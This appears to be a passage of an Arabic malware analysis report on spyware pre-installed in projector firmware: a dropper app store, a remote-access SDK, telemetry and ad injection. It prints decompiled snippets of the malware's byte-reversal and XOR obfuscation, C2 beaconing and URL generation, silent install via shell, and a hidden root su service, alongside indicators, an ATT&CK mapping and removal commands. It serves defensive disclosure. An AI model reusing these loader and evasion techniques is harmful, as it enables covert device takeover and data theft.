**التأثير:** أي مستخدم لديه وصول فعلي أو مهاجم على نفس الشبكة (عبر ADB، المنفذ 5555 مفتوح، دون مصادقة) يحصل على صلاحية الجذر الكاملة.

---

## 4. استجابة خادم C2 — الأدلة الأساسية

### طلب HTTP الملتقط```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12

**تفسير العلامات:**

- `isShow: false` — التطبيق لا يظهر في واجهة المتجر.
- `isForce: true` — يُفترض أنه يُجبر الإجراء (التثبيت أو التحديث).
- `isSilentUninstall: true` — يمكنه إلغاء تثبيت نفسه دون تفاعل المستخدم.
- `launchType: 1` — يبدأ تلقائيًا خدمة الخلفية.
- `launchParam: MyService` — مرجع للخدمة المستمرة.
- `zone: "Global"` — يستهدف جميع الأجهزة في جميع أنحاء العالم.
- `reverseLen` — طول البايت اللازم لاستعادة ملف SilentSDK `.apk`.

### مسار التحميل المشفر

حقل `path` مشفر باستخدام AES-CBC:

- **المفتاح/IV:** `[REDACTED]` (AES-CBC, خام) -> معرف القناة للجهاز.
- **النتيجة بعد فك التشفير:**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp

   + ExpandSDK (Ad-Injection)
     → pb-api.aodintech.com

---

## 6. StoreOS — تحليل المُحمل (Dropper)

يبدو أن StoreOS هو متجر تطبيقات يتم تثبيته تلقائيًا؛ إلا أنه يؤدي وظيفة المُحمل.  
**الحزمة:** `com.htc.storeos`  
**SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`  
**VirusTotal:** BitDefender: `Android.Riskware.TestKey.rB`

### الأذونات

| الإذن | التأثير |
|:---|:---|
| `INSTALL_PACKAGES` | التثبيت الصامت دون حوار المستخدم |
| `CLEAR_APP_USER_DATA` | حذف بيانات تطبيق عشوائية |
| `MASTER_CLEAR` | بدء إعادة ضبط المصنع |
| `WRITE_SECURE_SETTINGS` | تعديل إعدادات الأمان |
| `DEVICE_POWER` | إدارة طاقة الجهاز |
| `MANAGE_EXTERNAL_STORAGE` | الوصول الكامل إلى التخزين الخارجي |

### سلسلة التثبيت (من الكود المُفكك)

1. **BootReceiver** يبدأ `CheckUpdateService`.
2. طلب HTTP POST إلى `store-api.aodintech.com/sign/app/list`.
3. يقوم الخادم بتسليم `AppsData[]` يحتوي على الحقول: `pkg`, `path`, `isForce`, `isShow`, `isSilentInstall`, `isSilentUninstall`, `launchType`, `launchParam`, `reverseLen`, `md5`.
4. يقوم `DownloadService` بجلب ملفات APK كملفات `.bpp` من شبكة CDN.
5. **حماية عكس البايت:** يتم عكس أول `reverseLen` بايت قبل الكتابة على القرص (إجراء مضاد للتحليل).
6. التحقق من MD5 للملف الذي تم تنزيله.
7. التثبيت عبر `Runtime.getRuntime().exec("pm install -r " + filePath)`.
8. يقوم `StartAppService` بتشغيل التطبيق المُثبَّت وفقًا لـ `launchParam`.

### آلية عكس البايت — دليل تقني

**الفئة:** `AbstractC2057b` — **الطريقة:** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX

تقوم هذه الطريقة بعكس أول `reverseLen` بايت من كل APK تم تنزيله. ونتيجة لذلك، لا يمكن التعرف على ملفات `.bpp` المعترضة أو استخراجها كملفات APK صالحة دون معرفة قيمة `reverseLen` المحددة.```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
    reverseLen = fileSize;
    offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
    byte tmp = buffer[head];
    buffer[head] = buffer[tail];
    buffer[tail] = tmp;
    head++; tail--;
}
// 3. Copy the remaining bytes unchanged

من خلال عكس هذه الآلية، تم فك تشفير وتحليل APK الخاص بـ SilentSDK بنجاح.

### الاستهداف الجغرافي

يستخدم StoreOS `api.ipdatacloud.com/v2/query` لتحديد الموقع الجغرافي عبر IP. تحتوي فئة `SpecialApps` على حقول `continent` و `countryCode`، مما يسمح بتوزيع الحمولات حسب المنطقة.

---

## 7. EventUploadService — القياس عن بعد

**الحزمة:** `com.htc.eventuploadservice`  
**الهدف:** `http://event-api.aodintech.com/report`  
**الفاصل الزمني:** كل 5 دقائق  

| الحقل | قيمة مثال | تأثير الخصوصية |
|:---|:---|:---|
| `deviceId` | `[REDACTED]` | عنوان MAC (معلومات تعريف شخصية) |
| `deviceSn` | `[REDACTED]` | الرقم التسلسلي (فريد) |
| `channel` | `HY260Pro_hy_TPYB` | قناة البرنامج الثابت |
| `version` | `Projector.20250422.152235` | إصدار البرنامج الثابت |
| `model` | `NT10` | طراز الجهاز |
| `language` | `en_US` | إعداد اللغة |

يتم الإرسال بدون تشفير عبر HTTP وبدون موافقة المستخدم. يسمح عنوان MAC والرقم التسلسلي بتحديد وتتبع الأجهزة الفردية بدقة.

---

## 8. ExpandSDK — حقن الإعلانات

**الحزمة:** `com.htc.expandsdk`  
**خوادم القيادة والتحكم:** `pb-api.aodintech.com`, `euads-o.api.leiniao.com`

يستخدم ExpandSDK مكتبة TCL VastAd SDK لإعلانات الفيديو VAST وهو قادر على عرض حوارات تراكب النظام (`SYSTEM_ALERT_WINDOW`) في أي موضع على الشاشة. يتضمن التكوين حقول الموضع (`AdDialogX`, `AdDialogY`, `Width`, `High`, `Gravity`) ومعرف الشريك `htk` (Hotack).

يعمل ExpandSDK بشكل مستقل عن SilentSDK كقناة تحقيق أرباح منفصلة.

---

## 9. SilentSDK — تحليل أداة التحكم عن بعد

**الحزمة:** `com.hotack.silentsdk`  
**SHA-256 (مفكوك):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`  
**MD5 (مفكوك):** `5df097591d6942bae4eff33a37c4e28f`

### تحليل البيان

| الخاصية | القيمة | المعنى |
| :--- | :--- | :--- |
| `sharedUserId` | `android.uid.system` | صلاحيات النظام (UID 1000) |
| `usesCleartextTraffic` | `true` | يسمح بحركة مرور HTTP |
| أيقونة المشغل | غير مرئية للمستخدم | مخفية عن واجهة المستخدم |
| `BootReceiver` | الأولوية 999 | يبدأ قبل جميع التطبيقات الأخرى تقريبًا |
| `MyService` | مُصدر، في المقدمة | خدمة خلفية مستمرة |
| `BootStartActivity` | `com.htc.bootstart` | مشغل إقلاع إضافي |

### تعبئة DEX وفك التشفير

حزمة DEX الأصلية معبأة: يعلن الرأس عن 2,318,316 بايت، لكن الملف المضغوط يحتوي فقط على 65,536 بايت مع مجموع اختباري Adler32 غير صالح. بعد كسر حماية عكس البايت الخاصة بـ StoreOS، يصبح DEX قابلاً للقراءة بالكامل — يتطابق حجم الملف مع الحجم المعلن، ويمكن استخراج 16,241 سلسلة نصية.

### تشويش XOR — إثبات تقني

جميع السلاسل النصية المتعلقة بالأمان مشوشة باستخدام تشفير XOR دوار داخل الطريقة `AbstractC0000a.m36g()`:```java
public static String m36g(byte[] data, byte[] key) {
    int i3 = 0, i4 = 0;
    while (i3 < data.length) {
        if (i4 >= key.length) i4 = 0;
        data[i3] = (byte) (data[i3] ^ key[i4]);
        i3++; i4++;
    }
    return new String(data);
}

إذا حدث خطأ SSL (`SSLException`)، يتم تعيين `f2664e` إلى `false` وتستخدم جميع الطلبات اللاحقة HTTP بدلاً من HTTPS.




#### المرحلة 3: الحصول على الحمولة
 
**`C0566k.java` — الاحتياطي دون اتصال (الحمولة المضمنة)**
 
قبل الاتصال بالشبكة، يتحقق هذا الفئة مما إذا كانت الحمولة مضمنة بالفعل داخل APK في `assets/m17gawxG.java`. إذا وُجدت، فإنها تقرأ الملف بايتًا بايت وتقوم بفك تشفيره باستخدام مفتاح XOR ثابت (`m17gawxG`). تُكتب النتيجة كملف `.temp` قابل للتنفيذ. يضمن ذلك أن أداة التحكم عن بُعد (RAT) يمكن تفعيلها حتى على الأجهزة المعزولة أو عندما يكون خادم C2 غير قابل للوصول.
 
**`RunnableC0569n.java` — المُنزِّل المباشر من C2**
 
إذا فشل الاحتياطي دون اتصال، يقوم هذا الفئة بتجميع إشارة JSON تحتوي على معرف البوت (Bot-ID) واسم الحزمة وإصدار Android، ثم يتصل بنقطة نهاية C2 `api.pixelpioneerss.com`:
 
**الخطوة 1 — توليد URL بمسار عشوائي:**```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s

**الخطوة 3 — تشفير AES والإرسال:**```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message

يقوم المُنزّل (`AbstractC0000a.m37h`) بجلب الحمولة ثم يستخدم شل جذر لمنحها أذونات تنفيذ كاملة عبر `chmod 777`.
 
جميع طلبات C2 تحمل رأس HTTP المخصص `a: 1003` — توقيع على مستوى الشبكة لهذه العائلة من البرامج الضارة.



#### المرحلة 4: التنفيذ والتحكم
 
**`AbstractC0568m.java` — منطقة التجهيز**
 
ينشئ دليلاً خفياً باسم **`TMRXwWJu3G5`** في نظام ملفات الجهاز حيث يتم تجهيز جميع الحمولات التي تم تنزيلها. تحتوي هذه الفئة أيضاً على طرق (`m1754e`) تعترض أحداث المفاتيح المادية (`KeyEvent`)، مما يمنع المستخدم من الضغط على زر "الرجوع" أثناء وجود تراكب خبيث نشط.
 
**`C0561f.java` — المنسق**
 
يربط السلسلة بأكملها. يستدعي الكود المشفر بشكل كبير في `C0566k.m1746b`، والذي يستخدم التأمل لبناء السلسلة `"dalvik.system.DexClassLoader"` وتهيئتها. ثم يُجبر ClassLoader على تحميل وتنفيذ فئة الحمولة النهائية:```
com.me.cash5.OoO0OOo

هذا نطاق **C2 منفصل** عن النطاق الأساسي `api.pixelpioneerss.com`، يُستخدم حصريًا لاستخراج البيانات عن بُعد (telemetry).

**`AbstractC0572q.java` و `RunnableC0560e.java` — نبضات القلب والشفاء الذاتي**

آلية الثبات. يحتفظ `AbstractC0572q` بمؤقت على الخيط الرئيسي. إذا فشل أي جزء من سلسلة العدوى (مثل عدم وجود إنترنت أثناء التحميل)، فإنه يُطلق `sendEmptyMessageDelayed(..., 60000L)`. بعد مرور 60 ثانية بالضبط، يقوم `RunnableC0560e` (كعامل خلفي) بإعادة تشغيل آلية العدوى بأكملها من البداية. تتكرر هذه الحلقة إلى أجل غير مسمى حتى تنجح العدوى.

### الثبات والتحميل الديناميكي — ملخص

تقوم الطريقة `m1762a()` في `RunnableC0569n` بتنفيذ دورة تحميل الحمولة الكاملة:

1. تحميل ملف DEX من C2.
2. التحقق من تجزئة MD5.
3. حفظ رقم الإصدار في SharedPreferences.
4. تحميل وتنفيذ DEX عبر `DexClassLoader` أو `Runtime.exec()`.
5. عند حدوث أخطاء: زيادة عداد إعادة المحاولة في SharedPreferences، والتوقف بعد 13 محاولة فاشلة — ثم يعيد نبض القلب لمدة 60 ثانية بدء الدورة.

## 9.1. حمولة البرنامج الضار

بعد إرسال هذا الطلب إلى خادم C2:```json
{
    "a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
    "b":"f101", //CampaignID injected in MyApplication.java
    "c":"com.hotack.silentsdk", //Package name
    "d":0, 
    "f":"c0:3a:4b:11:22:33", // Device MAC address
    "h":30, //Version
}

---
## 10. البرامج الضارة

بعد استرجاع الحمولة بنجاح وتحليلها الإضافي، تبيّن لي—بعد تجاوز طبقات كبيرة من التشفير المخصص والإبهام—أن البرنامج الضار يستخدم بنية معيارية عالية. إنه يعمل كإطار متطور قادر على تنزيل الإضافات وتحديثها وإعادة تشغيلها وحذفها بنشاط لتدمير الأدلة الجنائية. يتم تنفيذ هذه الحمولات بصلاحيات الجذر (root). علاوة على ذلك، يكشف الكود عن آليات مصممة لتغطية WebViews كاملة على الشاشة، مما يشير بقوة إلى قدرات تصيد متقدمة. يُظهر البرنامج الضار أيضًا تكتيكات استهداف وتهرب متقدمة: فهو يطبق تحديدًا جغرافيًا صارمًا لاستهداف مناطق محددة، ويحدد بنية وحدة المعالجة المركزية (يميز بين `arm64` و `armeabi` و `x86` و `mips`)، ويتجاوز بنشاط التحقق من شهادات SSL لتأمين اتصالاته مع خادم القيادة والتحكم (C2). أُبقي هذا الملخص مختصرًا عمدًا في الوقت الحالي، نظرًا لأن الإبهام الكثيف يتطلب عملية هندسة عكسية مطولة ومستمرة.

## 11. ثغرات خلفية في النظام

### 11.1 ثنائي `su` المخفي: `/system/bin/qw`

ثنائي `su` أعيدت تسميته باسم `qw` (Koushikdutta Superuser، 388 كيلوبايت، مرتبط ثابت، ARM 32-bit):```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
    user root
    group root
    class core

### توقيعات الشبكة```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003            # SilentSDK Signature
POST /sign/app/list             # StoreOS C2 Beacon
POST /report                    # EventUpload Telemetry

### نظام الملفات```text
/system/bin/qw                                   # su Binary
/dev/com.koushikdutta.superuser.daemon/server    # su Socket
/oem/customer.prop                               # World-writable
/vendor/bin/dbgserver                             # HW-Debug
/dev/hidtvreg                                    # World-writable

---

## 16. رسم خرائط MITRE ATT&CK

| التقنية | المعرف | الدليل |
|:---|:---|:---|
| اختراق سلسلة التوريد | T1195.002 | مصنع البرمجيات الخبيثة مثبت مسبقًا |
| تنفيذ بدء التشغيل التلقائي | T1547 | أولوية BootReceiver 999 |
| ملفات أو معلومات مبهمة | T1027 | سلاسل XOR، تغليف DEX، أصل مشفر بـ XOR مضمن |
| بروتوكول طبقة التطبيق | T1071 | C2 عبر HTTP/HTTPS |
| تبادل البيانات الديناميكي / حقن الحمولة | T1055 | DexClassLoader، chmod 777 |
| اكتشاف معلومات النظام | T1082 | بصمة الجهاز، توليد معرف البوت |
| بيانات من النظام المحلي | T1005 | MAC، Serial، IMEI، android_id |
| تسريب عبر قناة C2 | T1041 | إرسال بيانات دورية إلى `bur.thedynamicleap.com` |
| التمويه | T1036 | امتداد الملف .bpp، انتحال ADT-3 |
| روتكيت | T1014 | ثنائي su المخفي |
| التقاط المدخلات | T1056 | اعتراض KeyEvent لتعطيل زر الرجوع |
| إزالة المؤشرات / الحذف الذاتي | T1070 | إمكانية `isSilentUninstall: true` |
| تحميل الكود الانعكاسي | T1620 | تفعيل DexClassLoader بشكل انعكاسي |
| تراكب نافذة النظام | T1624 | معالجة SoftInputMode لإنشاء تراكبات غير مرئية |

---

## 17. تخفيفات فورية

### للمستخدمين النهائيين المتأثرين```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate

---

## 18. المصادر

1. زين سانت جون: "هندسة عكسية لبرمجيات ضارة مثبتة مسبقًا على أندرويد باستخدام كلود كود"، يناير 2026. https://zanestjohn.com/blog/reing-with-claude-code
2. مكتب أمن المعلومات الاتحادي (BSI): "BSI يحذر من برمجيات ضارة مثبتة مسبقًا على أجهزة إنترنت الأشياء" (BADBOX)، أكتوبر 2023.
3. تحليل VirusTotal لملف APK الخاص بـ StoreOS.

---

**فترة التحليل:** 11–17 أبريل 2026

**إخلاء مسؤولية**
لأغراض تعليمية وبحثية فقط. يُقدم هذا التقرير "كما هو" لأغراض إعلامية تتعلق بالتهديدات السيبرانية. يعتمد التحليل على لقطة من النظام البيئي الحالي للبرمجيات الضارة؛ وبما أن الهندسة العكسية هي عملية مستمرة، فقد تخضع النتائج للتغيير مع توفر بيانات جديدة.

تم إعداد هذا التقرير بحسن نية ووفقًا لأفضل ما لدي من معرفة، بناءً على تحليل البيانات الثنائية والكود المصدري المفكك. نظرًا لارتفاع مستوى التعتيم والطبيعة المتطورة للتهديد، تمثل هذه النتائج حالة بحثية حالية. بينما تدعم الأدلة بقوة الاستنتاجات المستخلصة، فهي قابلة للتحسين مع كشف المزيد من الأدلة التقنية.